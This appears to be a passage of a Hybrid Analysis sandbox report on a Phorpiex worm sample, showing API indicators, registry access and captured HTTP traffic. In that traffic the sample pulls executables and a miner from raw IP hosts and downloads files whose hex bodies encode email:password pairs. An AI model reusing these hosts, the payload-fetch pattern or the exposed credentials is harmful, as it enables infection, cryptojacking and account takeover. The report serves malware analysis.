24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 72:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4dd,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Worm.Phorpiex.Generic Sample 1d8bdf8caa41… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1d8bdf8caa41…. Malware family: Worm.Phorpiex.Generic. Threat score 100/100. 15/27 AV engines flagged this file. 13 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1d8bdf8caa4189017478785b995c242b07b4ebeda272b34af247e398487757e5","keywords":["Malicious","Worm.Phorpiex.Generic","malware analysis","sandbox report","threat intelligence","1d8bdf8caa4189017478785b995c242b07b4ebeda272b34af247e398487757e5"],"about":{"@type":"SoftwareApplication","name":"1d8bdf8caa4189017478785b995c242b07b4ebeda272b34af247e398487757e5.bin","applicationCategory":["peexe","executable"],"identifier":"1d8bdf8caa4189017478785b995c242b07b4ebeda272b34af247e398487757e5","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Worm.Phorpiex.Generic","antivirusDetections":{"malicious":15,"total":27},"behavioralIndicators":{"malicious":13,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T9e2,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "1d8bdf8caa4189017478785b995c242b07b4ebeda272b34af247e398487757e5.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "1d8bdf8caa4189017478785b995c242b07b4ebeda272b34af247e398487757e5.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000544.00000001.114863.00033000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000544.00000001.114863.00033000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005612.00000001.114666.01243000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005612.00000001.114666.01243000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006728.00000000.112848.01343000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006728.00000000.112848.01343000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007320.00000001.114514.00183000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007320.00000001.114514.00183000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007520.00000001.114594.00F63000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007520.00000001.114594.00F63000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008176.00000001.114960.00B93000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008176.00000001.114960.00B93000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp")26:T4ab,Found reference to API "ControlServiceEx" (Indicator: "ControlService"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; Source: "00000000-00010688.00000000.114062.F763B000.00000002.mdmp")27:T58c,Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007320.00000000.112593.02B40000.00000004.mdmp, 00000000-00007320.00000001.114514.02B40000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007520.00000000.112674.03220000.00000004.mdmp, 00000000-00007520.00000001.114594.03220000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00008176.00000000.113037.035F0000.00000004.mdmp, 00000000-00008176.00000001.114960.035F0000.00000004.mdmp")28:T5ac,"1630140227.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "1630140227.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "1630140227.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "1630140227.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "1630140227.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN") "1630140227.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN") "1630140227.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN") "1630140227.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN") "1630140227.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "1630140227.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "1630140227.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\SECURITY") "1630140227.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\SECURITY") "1630140227.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\MAIN")29:Ta15,"" (Indicator: "enumchildwindows"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007320.00000000.112593.02B40000.00000004.mdmp, 00000000-00007320.00000001.114514.02B40000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007520.00000000.112674.03220000.00000004.mdmp, 00000000-00007520.00000001.114594.03220000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00008176.00000000.113037.035F0000.00000004.mdmp, 00000000-00008176.00000001.114960.035F0000.00000004.mdmp")2f:Tee6," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:49 GMT Content-Type: application/octet-stream Content-Length: 15872 Last-Modified: Mon 06 Jul 2026 12:56:52 GMT Connection: keep-alive ETag: "6a4ba614-3e00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ph2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:50 GMT Content-Type: application/octet-stream Content-Length: 15872 Last-Modified: Mon 06 Jul 2026 12:56:56 GMT Connection: keep-alive ETag: "6a4ba618-3e00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ph3.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:51 GMT Content-Type: application/octet-stream Content-Length: 15872 Last-Modified: Mon 06 Jul 2026 12:57:00 GMT Connection: keep-alive ETag: "6a4ba61c-3e00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Jul 2026 14:34:51 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=HL0fyoE_MJeU4dKlVv0PzIQ9wBIkc7VQbrDd7OGx.SY-1783348491.538057-1.0.1.1-qcswILSh4a7Giemn6vTuXZUK8pD9Sju76g3EQc9Uz9cLnTxFs_s.4Qmr2VaaeYTl1g9gZKOMIdX7FPfYGn8wD_bZpPnwx3Nr7.A3tq2SziVMU.5PCJKxuwmohVlxys8K; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Jul 2026 15:04:51 GMT Server: cloudflare CF-RAY: a16f552819b4ef9b-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /nmixx/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Mon 06 Jul 2026 14:34:48 GMT Content-Type: text/plain Content-Length: 5 Last-Modified: Sun 14 Jun 2026 18:24:39 GMT Connection: keep-alive ETag: "6a2ef1e7-5" Accept-Ranges: bytes with response body ==>3836393432....... "GET /nmixx/7977.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Mon 06 Jul 2026 14:34:48 GMT Content-Type: text/plain Content-Length: 276480 Last-Modified: Sun 14 Jun 2026 17:42:46 GMT Connection: keep-alive ETag: "6a2ee816-43800" Accept-Ranges: bytes with response body ==>6F6D2E70683A4372616674793233310A6D657965726A7232353938406C6976652E636F6D3A6D657965726A72323539380A6D657965726C6177407961686F6F2E....... "GET /ph4.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:52 GMT Content-Type: application/octet-stream Content-Length: 15872 Last-Modified: Mon 06 Jul 2026 12:57:05 GMT Connection: keep-alive ETag: "6a4ba621-3e00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Jul 2026 14:34:53 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=2UhP_gZMInNNuKPTEbA20wCOYd_gPf2YAFFVPQvkMf0-1783348493.360778-1.0.1.1-Y3V0_hMqwxw9ikbc8.nYXd0030P9LZkl7t3d..zJqHh64qXjhI22pZ4CNvKQdAKddmDueaclElgXCMMkKwujUrlLD6JtTVGYft2SXwKFnsXc8Yhbg3BsqsfbGseM7RXi; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Jul 2026 15:04:53 GMT Server: cloudflare CF-RAY: a16f55338b324801-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /nmix/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Mon 06 Jul 2026 14:34:50 GMT Content-Type: text/plain Content-Length: 5 Last-Modified: Mon 15 Jun 2026 00:11:48 GMT Connection: keep-alive ETag: "6a2f4344-5" Accept-Ranges: bytes with response body ==>3439383830....... "GET /ph5.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:54 GMT Content-Type: application/octet-stream Content-Length: 15872 Last-Modified: Mon 06 Jul 2026 12:57:09 GMT Connection: keep-alive ETag: "6a4ba625-3e00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Jul 2026 14:34:54 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=2T_3Nq2uzfiHO4Xn0SAQpaZXyOPZ0NAtjhpYIuCskbM-1783348494.6592803-1.0.1.1-bxUw_aWYEiDOwcKeJo.1whJ4xZXfALoUDkrW2L6jPfDEiLwM1ZU1AjL3WzyjmR_lbmNvFCNs6U3ALlL9sI7prxh6Hjfe2VgYLtwfJxYfV8a4tE3TadpzA36fFn5Emd3A; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Jul 2026 15:04:54 GMT Server: cloudflare CF-RAY: a16f553b9f224801-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /nmix/12572.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Mon 06 Jul 2026 14:34:51 GMT Content-Type: text/plain Content-Length: 276480 Last-Modified: Sun 14 Jun 2026 23:55:36 GMT Connection: keep-alive ETag: "6a2f3f78-43800" Accept-Ranges: bytes with response body ==>2E63613A70626A3674727478320A6D69636861656C2D726F7474696572732D68657277696E2D31393934406F75746C6F6F6B2E636F6D3A48657277696E313939....... "GET /n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Mon 06 Jul 2026 14:34:51 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Thu 04 Jun 2026 04:14:14 GMT Connection: keep-alive ETag: "6a20fb96-6" Accept-Ranges: bytes with response body ==>323330363738....... "GET /16396.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Mon 06 Jul 2026 14:34:51 GMT Content-Type: text/plain Content-Length: 276480 Last-Modified: Wed 03 Jun 2026 16:08:24 GMT Connection: keep-alive ETag: "6a205178-43800" Accept-Ranges: bytes with response body ==>6E0A636C65726376696E63656E7440667265652E66723A56697267696E6965323531320A6B796D694077616E61646F6F2E66723A326172613579347232620A64....... "GET /ph6.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:55 GMT Content-Type: application/octet-stream Content-Length: 15872 Last-Modified: Mon 06 Jul 2026 12:57:13 GMT Connection: keep-alive ETag: "6a4ba629-3e00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Jul 2026 14:34:55 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=1x2qv2.EI5pmeT3N0Rco5ShrZRByRwi481gwMgzDqp4-1783348495.9058867-1.0.1.1-43aX.acPxG0sR9mfrXIY3Wa18bu5WI8CREAI7Ph6yalBFzP59mXGRUBcDve77LCt2ZV6iOm8M.SqwwGf9wGWIfoXN4Sx5l6XpwR7g2ZhkMESB1KJ.VaBZ7JC_woSBTfI; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Jul 2026 15:04:55 GMT Server: cloudflare CF-RAY: a16f554368684900-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /lmix/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 91.92.242.107" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.2 Date: Mon 06 Jul 2026 14:34:55 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sat 20 Jun 2026 20:09:37 GMT Connection: keep-alive ETag: "6a36f381-6" Accept-Ranges: bytes with response body ==>333532363838....... "GET /lmix/21908.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 91.92.242.107" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.2 Date: Mon 06 Jul 2026 14:34:55 GMT Content-Type: text/plain Content-Length: 276480 Last-Modified: Sat 20 Jun 2026 13:44:42 GMT Connection: keep-alive ETag: "6a36994a-43800" Accept-Ranges: bytes with response body ==>6B406E746C776F726C642E636F6D3A617373617373696E0A616E6479626C616E7A6140766572697A6F6E2E6E65743A726179726179343837300A616E6479626C....... "GET /xmr.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:57 GMT Content-Type: application/octet-stream Content-Length: 7084544 Last-Modified: Thu 05 Mar 2026 13:36:23 GMT Connection: keep-alive ETag: "69a986d7-6c1a00" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Jul 2026 14:34:58 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=UdUR3ssdXZx9SWFlNlCOWWrsfyMMcqbk6UxM0lOhlws-1783348498.4006057-1.0.1.1-YclXKIJMfs_Igm2hICRLuM2hcDOJF2aMBa5ZG9IxUr4F8xMd5TS5Y1.FmiEfid8ZWmlRJAMzhTHgCym4BZc1jp2eEO8NmzXcfwA1eTaKtA77nomOtK1Kf4126DGBS12D; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Jul 2026 15:04:58 GMT Server: cloudflare CF-RAY: a16f5552f918ebf3-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /us/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:58 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 14 Jun 2026 21:52:52 GMT Connection: keep-alive ETag: "6a2f22b4-6" Accept-Ranges: bytes with response body ==>32363039330A....... "GET /us/3878.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:59 GMT Content-Type: text/plain Content-Length: 276480 Last-Modified: Sun 14 Jun 2026 19:33:19 GMT Connection: keep-alive ETag: "6a2f01ff-43800" Accept-Ranges: bytes with response body ==>3A6465787465723237313432320A3131646170686E6577407961686F6F2E636F6D3A6D696E746965626F6F340A79326A5F3036407961686F6F2E636F6D3A6D69....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 06 Jul 2026 14:34:59 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=r_4_cuxfXD9V44nqfaoywT7wCHrQFNobmw6f0a95gbk-1783348499.463194-1.0.1.1-wRmkNkK3gmckXm5fAZcr35ow1eJN0nUdEwxk0ez1ZSBv84kTh8k8EAaJalNCg.6t5o16PGRC7SbYu3Wf0ECwY2ozarMENR7xZ3E6JUHSJeX9ZWs9_9i_u72.r1BSwNPU; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 06 Jul 2026 15:04:59 GMT Server: cloudflare CF-RAY: a16f5559aaeae817-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /xxx/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:34:59 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Thu 11 Jun 2026 21:51:26 GMT Connection: keep-alive ETag: "6a2b2dde-6" Accept-Ranges: bytes with response body ==>36363036390A....... "GET /xxx/1487.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 06 Jul 2026 14:35:00 GMT Content-Type: text/plain Content-Length: 276480 Last-Modified: Wed 10 Jun 2026 11:54:00 GMT Connection: keep-alive ETag: "6a295058-43800" Accept-Ranges: bytes with response body ==>6368696E616D616E6E31313233343536373839300A6B796C65652E74616C626F7474406D736E2E636F6D3A4D61747468657731310A6269656B655F3837406E74.......41:T39de,"" (Indicator: "GetDC"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000544.00000000.112941.03550000.00000004.mdmp, 00000000-00000544.00000001.114863.03550000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005612.00000000.112745.00F40000.00000004.mdmp, 00000000-00005612.00000001.114666.00F40000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: 